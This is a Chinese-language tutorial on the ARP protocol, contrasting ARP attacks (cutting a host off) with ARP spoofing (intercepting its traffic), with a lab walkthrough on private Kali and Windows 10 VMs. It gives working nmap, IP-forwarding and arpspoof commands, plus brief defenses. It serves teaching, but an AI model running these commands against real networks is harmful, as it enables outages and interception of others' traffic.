网络协议-ARP协议与攻击模拟

ARP协议

1、各层协议

  • 网路层:IP、ARP、ICMP、IGMP、RARP 隧道协议(IPSec协议簇、GRE)、路由协议(RIP、OSPF、IS-IS)
  • 传输层:TCP、UDP
  • 应用层:SMB、telnet、ssh、http、dhcp、dns、https、pop、imap、smtp、ntp等等

2、ARP协议

  • 将一个已知IP地址解析为MAC地址
  • 在同一局域网中,需要通过MAC地址进行定位,不同网络通信,主句需要将数据交给网关进行转发,所以主机需要定位自己的网关
  • 原理
    • 主机发送ARP广播请求,目标主机收到后进行ARP单播响应

3、ARP缓存

  • 当主机在网络中进行通信,就会去获取对应MAC地址,从而记录到自身的ARP缓存表中,Windows操作系统中使用arp -a来进行查看,当不进行通信时,arp缓存会自动消失,Windows操作系统的arp缓存保存时间为120s
  • 在Linux系统中一般使用arp-n查看缓存表

4、ARP的攻击和欺骗

  • ARP攻击

    • 攻击主机发送虚假的arp响应报文,从而被攻击主机访问其他网络时会将数据发送到虚假的MAC地址上,造成断网
  • ARP欺骗

    • 攻击主机发送真实的arp响应报文,携带的是自身的真实mac地址,从而被攻击主机访问其他网络时会将数据发送到攻击主机,攻击主机需要开启ip转发,最终携带被攻击访问网站的流量数据
  • 防御

    • 使用arp静态绑定方式,在路由器和主机上同时绑定
    • 设备上的免费arp来持续向主机发送arp应答报文

ARP攻击(断网)

1、环境配置

操作系统 IP地址 MAC地址
kali Linux 192.168.126.131 00-0C-29-CB-22-0C
Windows 10 专业版 192.168.126.138 00-0C-29-7C-F0-4F

2、攻击步骤

  • 查看arp缓存表

    win10运行arp -a

    网络协议-ARP协议与攻击模拟_第1张图片

  • 主机扫描

    # 使用namp扫描网段内存活的主机
    nmap -sP 192.168.126.*
    

    网络协议-ARP协议与攻击模拟_第2张图片

    192.168.126.138确定存活

  • 开始攻击

    • kali中运行

      # 查看转发功能是否打开(0:关闭,1:打开)
      cat /proc/sys/net/ipv4/ip_forward
      
      # 关闭IP转发功能
      echo 0 > /proc/sys/net/ipv4/ip_forward
      
      # 使用arpspoof工具
      # arpspoof -i 网卡 -t 目标IP 网关
      arpspoof -i eth0 -t 192.168.126.138 192.168.126.2
      

      网络协议-ARP协议与攻击模拟_第3张图片

    • 在win10中查看arp缓存表

      arp -a
      

      网络协议-ARP协议与攻击模拟_第4张图片

      可以看见此时与网关192.168.126.2绑定的mac地址已经变成了kali的mac地址了

    • 此时在用win10联网测试

      ping www.baidu.com
      

      在这里插入图片描述

      此时win10已经无法联网了

ARP欺骗(不断网)

  • 前面步骤与APR攻击相同

  • 攻击步骤

    • 在kali运行

      # 查看转发功能是否打开(0:关闭,1:打开)
      cat /proc/sys/net/ipv4/ip_forward
      
      # 开启IP转发功能
      echo 1 > /proc/sys/net/ipv4/ip_forward
      
      # arpspoof -i 网卡 -t 网关 目标IP
      arpspoof -i eth0 -t 192.168.126.2 192.168.126.138
      

      在这里插入图片描述

    • 此时在用win10联网测试

      ping www.baidu.com
      能发现win10可以进行联网
      

你可能感兴趣的:(网络协议,网络协议,网络,linux,web安全)